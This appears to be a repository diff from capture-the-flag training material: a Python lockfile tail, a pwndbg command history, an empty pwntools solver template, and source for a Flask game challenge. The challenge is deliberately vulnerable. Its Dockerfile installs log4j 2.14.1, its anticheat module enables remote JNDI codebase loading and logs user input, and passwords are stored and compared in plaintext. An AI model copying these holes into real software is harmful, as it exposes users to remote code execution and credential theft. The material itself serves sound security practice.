{ url = "https://files.pythonhosted.org/packages/c0/d2/21af5c535501a7233e734b8af901574572da66fcc254cb35d0609c9080dd/pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42", size = 8932540, upload-time = "2025-07-14T20:13:36.379Z" },
]
[[package]]
name = "requests"
version = "2.32.5"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "certifi" },
{ name = "charset-normalizer" },
{ name = "idna" },
{ name = "urllib3" },
]
sdist = { url = "https://files.pythonhosted.org/packages/c9/74/b3ff8e6c8446842c3f5c837e9c3dfcfe2018ea6ecef224c710c85ef728f4/requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf", size = 134517, upload-time = "2025-08-18T20:46:02.573Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/1e/db/4254e3eabe8020b458f1a747140d32277ec7a271daf1d235b70dc0b4e6e3/requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6", size = 64738, upload-time = "2025-08-18T20:46:00.542Z" },
]
[[package]]
name = "ropgadget"
version = "7.7"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "capstone" },
]
sdist = { url = "https://files.pythonhosted.org/packages/88/9a/d5290486bb97f2bc9f7801e90659c0b26707d7997d8ff851846efc869db7/ropgadget-7.7.tar.gz", hash = "sha256:8aa7db0ce48ae6b09707fecc40bdd88ee5f76afd64249885ef3c9feab5bd9cfb", size = 26077, upload-time = "2025-10-15T10:34:15.087Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/fc/f4/5e0dbb23af4aa9b7936dfe8cb8509e2cbeec18d38ee963ce513b16d49865/ropgadget-7.7-py3-none-any.whl", hash = "sha256:f54c3d5d0be20a1c2b70fc1e9455304a2f8d9c8e63b9f37a1bac13ab03e254a7", size = 32596, upload-time = "2025-10-15T10:34:13.625Z" },
]
[[package]]
name = "rpyc"
version = "6.0.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "plumbum" },
]
sdist = { url = "https://files.pythonhosted.org/packages/8b/e7/1c17410673b634f4658bb5d2232d0c4507432a97508b2c6708e59481644a/rpyc-6.0.2.tar.gz", hash = "sha256:8e780a6a71b842128a80a337c64adfb6f919014e069951832161c9efc630c93b", size = 62321, upload-time = "2025-04-18T16:33:21.693Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/3f/99/2e119d541d596daea39643eb9312b47c7847383951300f889166938035b1/rpyc-6.0.2-py3-none-any.whl", hash = "sha256:8072308ad30725bc281c42c011fc8c922be15f3eeda6eafb2917cafe1b6f00ec", size = 74768, upload-time = "2025-04-18T16:33:20.147Z" },
]
[[package]]
name = "six"
version = "1.17.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/94/e7/b2c673351809dca68a0e064b6af791aa332cf192da575fd474ed7d6f16a2/six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81", size = 34031, upload-time = "2024-12-04T17:35:28.174Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b7/ce/149a00dd41f10bc29e5921b496af8b574d8413afcd5e30dfa0ed46c2cc5e/six-1.17.0-py2.py3-none-any.whl", hash = "sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274", size = 11050, upload-time = "2024-12-04T17:35:26.475Z" },
]
[[package]]
name = "sortedcontainers"
version = "2.4.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e8/c4/ba2f8066cceb6f23394729afe52f3bf7adec04bf9ed2c820b39e19299111/sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88", size = 30594, upload-time = "2021-05-16T22:03:42.897Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/32/46/9cb0e58b2deb7f82b84065f37f3bffeb12413f947f9388e4cac22c4621ce/sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0", size = 29575, upload-time = "2021-05-16T22:03:41.177Z" },
]
[[package]]
name = "unicorn"
version = "2.1.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/90/12/a10f01a3e1dafcd21e2eb0c0d99bb51d5bda1d3fee20047cb2a4b2de6285/unicorn-2.1.2.tar.gz", hash = "sha256:e4a9d671bdea71806f29a396734cfb83317f82943b52d0001d3bca1dcbaee893", size = 2858907, upload-time = "2025-02-13T15:32:07.433Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/28/5e/6d2f00bbba51fa4bf6ebbeda85a4cc114ddbce54fc6a43990e52dcf85a25/unicorn-2.1.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:32727577224f3aea7a2f2452f5c775e89427518fc2de15816a0f7f126853911f", size = 12885661, upload-time = "2025-02-13T15:29:29.192Z" },
{ url = "https://files.pythonhosted.org/packages/28/74/757a6d1484fc698b65ae88fd3832662c03aa9b91dfe6f6c681185bed7e8a/unicorn-2.1.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31a6778397ca00cec40ae000075bfe7e7335186c4421d10c0a7b41725e5c118b", size = 15286663, upload-time = "2025-02-13T15:29:32.615Z" },
{ url = "https://files.pythonhosted.org/packages/24/bf/d97ee3143ae10286869f86ffd910e857476ed8e94ea57de7d32b41e4aa46/unicorn-2.1.2-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99c343f74676494b61d4e3307db28ba055707c620eac0643739cd5268e5d4559", size = 19738521, upload-time = "2025-02-13T15:29:36.471Z" },
{ url = "https://files.pythonhosted.org/packages/57/88/bc15c97ce48e83b330c457d71d467d7b0e59c9e4debcdca9f0caefc676e1/unicorn-2.1.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c6a0bdfc38266600eacee2f264202fad1bff8590ad36d187b47033a782f12dc", size = 16341494, upload-time = "2025-02-13T15:29:39.758Z" },
{ url = "https://files.pythonhosted.org/packages/9b/f3/47829c17bae2b7f47213e43d48d5d9787d5d23e25eca1c0dc1898e514141/unicorn-2.1.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:8d61c0724780e021a6f3beee34c7f747d2eca37dbbd5e1e4b201fa50b86191fc", size = 15825061, upload-time = "2025-02-13T15:29:43.447Z" },
{ url = "https://files.pythonhosted.org/packages/89/8d/07b23a82f5966007927b0790fe59b450d6b57308450d7c2c088585472852/unicorn-2.1.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b53e726c95a452745718ba6611b96c4031472e4d3f4aa8bb8e6deab882783719", size = 20386198, upload-time = "2025-02-13T15:29:46.575Z" },
{ url = "https://files.pythonhosted.org/packages/60/bd/3635d8f2336dbba5ece77f2be7abc4585676bc3aea3e85e81721e14f529a/unicorn-2.1.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51ddac19d17aa7a220d2760898e38286461f4120d4372578ffec14e198093a7a", size = 16670404, upload-time = "2025-02-13T15:29:50.032Z" },
{ url = "https://files.pythonhosted.org/packages/7b/54/098926e287744ad8013acb3c97071fce9681befae02310b14f02913450d0/unicorn-2.1.2-cp313-cp313-win32.whl", hash = "sha256:7f0436c3e6e982bc2a00cb66297c84f60f3c0167360fb68d5f17c14e6cc0b200", size = 11731855, upload-time = "2025-02-13T15:29:53.035Z" },
{ url = "https://files.pythonhosted.org/packages/0a/13/dcace4588089ae3d5182c83d18f3c0c3f0370ddbc1a63f75902802f547e7/unicorn-2.1.2-cp313-cp313-win_amd64.whl", hash = "sha256:9e8a56ea10b019f0ac24310d3f5c43d55b9916cffbfa8634aae8b26b93d3de59", size = 15859731, upload-time = "2025-02-13T15:29:55.76Z" },
]
[[package]]
name = "unix-ar"
version = "0.2.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/3e/37/65cb206bd7110887248fe041e00e61124abdcd23de8f19418898a51363fc/unix_ar-0.2.1.tar.gz", hash = "sha256:bf9328ec70fa3a82f94dc26dc125264dbf62a2d8ffb1a3c8c8a8230175e72c4e", size = 7441, upload-time = "2019-06-12T17:21:23.99Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b6/a1/847695f96c37cdd57233e6e0f76c4637332acb06a6e0258160f0062c1a85/unix_ar-0.2.1-py2.py3-none-any.whl", hash = "sha256:2acb718bc1308bf80e5b9da2614d8242cc2fe3be4cd8b2fd4719bce189aafcf1", size = 6529, upload-time = "2019-06-12T17:21:22.314Z" },
]
[[package]]
name = "urllib3"
version = "2.6.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" },
]
[[package]]
name = "zstandard"
version = "0.25.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" },
{ url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" },
{ url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" },
{ url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" },
{ url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" },
{ url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" },
{ url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" },
{ url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" },
{ url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" },
{ url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" },
{ url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" },
{ url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" },
{ url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" },
{ url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" },
{ url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" },
{ url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" },
{ url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" },
{ url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" },
{ url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" },
{ url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" },
{ url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" },
{ url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" },
{ url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" },
{ url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" },
{ url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" },
{ url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" },
{ url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" },
{ url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" },
{ url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" },
{ url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" },
{ url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" },
{ url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" },
]

92
training/srdnlenctf-2025/pwn_kinderheim_511/.gdb_history Normal file
View File

@@ -0,0 +1,92 @@
checksec
entry
i f
heap
ni
ni
ni
ni
ni
ni
ni
ni
ni
ni
ni
up 7
l
b
r
heap
heap --help
heap -v
heap -s
heap
dprintf malloc, "malloc(%p)\n", (void*)$rdi
help functions
checkse
help function
start
start
p &main_arena
ni
p &main_arena
show debuginfod urls
start
stack
bt
heap
start
start
start
start
p &main_arena
heap
ni
ni
ni
ni
ni
ni
ni
in
ni
ni
ni
ni
ni
ni
ni
heap
malloc-chunk
malloc-chunk 0x555555559090
heap
heap chunks
heap -v
heap -s
set exception-verbose on
heap
ls
python print(pwndbg.aglib.heap.current.version)
python print(pwndbg.aglib.heap.current.version)
python print(pwndbg.aglib.heap)
python print(pwndbg.aglib.heap.current)
python print(pwndbg.aglib.heap)
start
ni
ni
heap
python print(pwndbg.aglib.heap.current.version)
python print(pwndbg.aglib.heap)
start
p (struct malloc_state)main_arena
vis
heap
ni
ni
heap
vis
vmmap heap
telescope heap 50
telescope 0x555555559000 50

BIN
training/srdnlenctf-2025/pwn_kinderheim_511/k511.elf Executable file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/pwn_kinderheim_511/k511.elf_patched Executable file
View File

Binary file not shown.

30
training/srdnlenctf-2025/pwn_kinderheim_511/solve.py Executable file
View File

@@ -0,0 +1,30 @@
#!/usr/bin/env python3
from pwn import *
exe = ELF("./k511.elf_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()

1
training/srdnlenctf-2025/sparklingsky/src/.python-version Normal file
View File

@@ -0,0 +1 @@
3.13

29
training/srdnlenctf-2025/sparklingsky/src/Dockerfile Normal file
View File

@@ -0,0 +1,29 @@
FROM python:3.11-bullseye
WORKDIR /app
COPY . /app
RUN pip install --no-cache-dir -r requirements.txt
RUN apt-get update && apt-get install -y openjdk-11-jdk && apt-get clean
RUN cd $(python -c "import os, pyspark; print(os.path.dirname(pyspark.__file__))")/jars && \
rm log4j* && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-slf4j-impl/2.14.1/log4j-slf4j-impl-2.14.1.jar && \
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-1.2-api/2.14.1/log4j-1.2-api-2.14.1.jar
RUN useradd -m appuser
RUN mv /app/flag.txt /
RUN mv /app/instance /
RUN chown -R appuser:appuser /app
RUN chmod 444 /flag.txt
USER appuser
EXPOSE 5000
CMD ["python", "run.py"]

0
training/srdnlenctf-2025/sparklingsky/src/README.md Normal file
View File

60
training/srdnlenctf-2025/sparklingsky/src/anticheat.py Normal file
View File

@@ -0,0 +1,60 @@
from pyspark.sql import SparkSession
import math
import time
log4j_config_path = "log4j.properties"
spark = SparkSession.builder \
.appName("Anticheat") \
.config("spark.driver.extraJavaOptions",
"-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \
.config("spark.executor.extraJavaOptions",
"-Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dlog4j.configuration=file:" + log4j_config_path) \
.getOrCreate()
logger = spark._jvm.org.apache.log4j.LogManager.getLogger("Anticheat")
def log_action(user_id, action):
logger.info(f"User: {user_id} - {action}")
user_states = {}
# Anti-cheat thresholds
MAX_SPEED = 1000 # Max units per second
def analyze_movement(user_id, new_x, new_y, new_angle):
global user_states
# Initialize user state if not present
if user_id not in user_states:
user_states[user_id] = {
'last_x': new_x,
'last_y': new_y,
'last_time': time.time(),
'violations': 0,
}
user_state = user_states[user_id]
last_x = user_state['last_x']
last_y = user_state['last_y']
last_time = user_state['last_time']
# Calculate distance and time elapsed
distance = math.sqrt((new_x - last_x)**2 + (new_y - last_y)**2)
time_elapsed = time.time() - last_time
speed = distance / time_elapsed if time_elapsed > 0 else 0
# Check for speed violations
if speed > MAX_SPEED:
return True
# Update the user state
user_states[user_id].update({
'last_x': new_x,
'last_y': new_y,
'last_time': time.time(),
})
return False

38
training/srdnlenctf-2025/sparklingsky/src/app.py Normal file
View File

@@ -0,0 +1,38 @@
from flask import Flask
from flask_socketio import SocketIO
from flask_login import LoginManager
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
socketio = SocketIO()
login_manager = LoginManager()
db = SQLAlchemy()
def create_app():
app = Flask(__name__)
app.config.from_object('config.Config')
socketio.init_app(app, cors_allowed_origins="*")
login_manager.init_app(app)
db.init_app(app)
from game.models import User
with app.app_context():
db.create_all()
from game.utils import init_db
# Prepopulate the db
with app.app_context():
init_db()
from game.routes import bp as game_bp
app.register_blueprint(game_bp)
# Import the socket events after the app is created
from game.socket import init_socket_events
from game.utils import update_birds_from_db
with app.app_context():
players = update_birds_from_db()
init_socket_events(socketio, players)
return app

5
training/srdnlenctf-2025/sparklingsky/src/config.py Normal file
View File

@@ -0,0 +1,5 @@
import os
class Config:
SECRET_KEY = os.urandom(24)
SQLALCHEMY_DATABASE_URI = 'sqlite:////instance/database.db'
SQLALCHEMY_TRACK_MODIFICATIONS = True

6
training/srdnlenctf-2025/sparklingsky/src/docker-compose.yml Normal file
View File

@@ -0,0 +1,6 @@
services:
sparkling_game:
build: .
restart: always
ports:
- "0.0.0.0:80:5000"

1
training/srdnlenctf-2025/sparklingsky/src/flag.txt Normal file
View File

@@ -0,0 +1 @@
srdnlen{REDACTED}

5
training/srdnlenctf-2025/sparklingsky/src/game/__init__.py Normal file
View File

@@ -0,0 +1,5 @@
from flask import Blueprint
bp = Blueprint('game', __name__)
from . import routes, socket # Import routes and socket modules

9
training/srdnlenctf-2025/sparklingsky/src/game/models.py Normal file
View File

@@ -0,0 +1,9 @@
from flask_login import UserMixin
from app import db
class User(UserMixin, db.Model):
id = db.Column(db.Integer, primary_key=True, autoincrement=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password = db.Column(db.String(300), nullable=False, unique=True)
color = db.Column(db.String(10), nullable=True)
is_playing = db.Column(db.Boolean, nullable=True)

59
training/srdnlenctf-2025/sparklingsky/src/game/routes.py Normal file
View File

@@ -0,0 +1,59 @@
from flask import render_template, redirect, url_for, request, flash
from flask_login import login_user, logout_user, login_required, current_user
from . import bp
from .models import *
from app import login_manager
from .utils import *
from random import randint
@login_manager.user_loader
def load_user(user_id):
user = User.query.get(int(user_id))
return user
@login_manager.unauthorized_handler
def unauthorized_callback():
return redirect('/login')
@bp.route('/')
@login_required
def home():
return render_template('home.html')
@bp.route('/play')
@login_required
def play():
current_players = User.query.filter_by(is_playing=True).with_entities(User.id).all()
current_players = [user_id[0] for user_id in current_players]
userID = int(current_user.get_id())
if userID in current_players:
return render_template('play.html')
else:
return render_template("spectate.html", position=randint(1, 300))
@bp.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = User.query.filter(User.username == username).first()
if user is None:
return redirect(url_for('game.login'))
if user.password == password:
login_user(user)
return redirect(url_for('game.home'))
return redirect(url_for('game.login'))
return render_template('login.html')
@bp.route('/logout')
@login_required
def logout():
logout_user()
flash('Logged out successfully!')
return redirect(url_for('game.login'))

48
training/srdnlenctf-2025/sparklingsky/src/game/socket.py Normal file
View File

@@ -0,0 +1,48 @@
from flask_socketio import emit
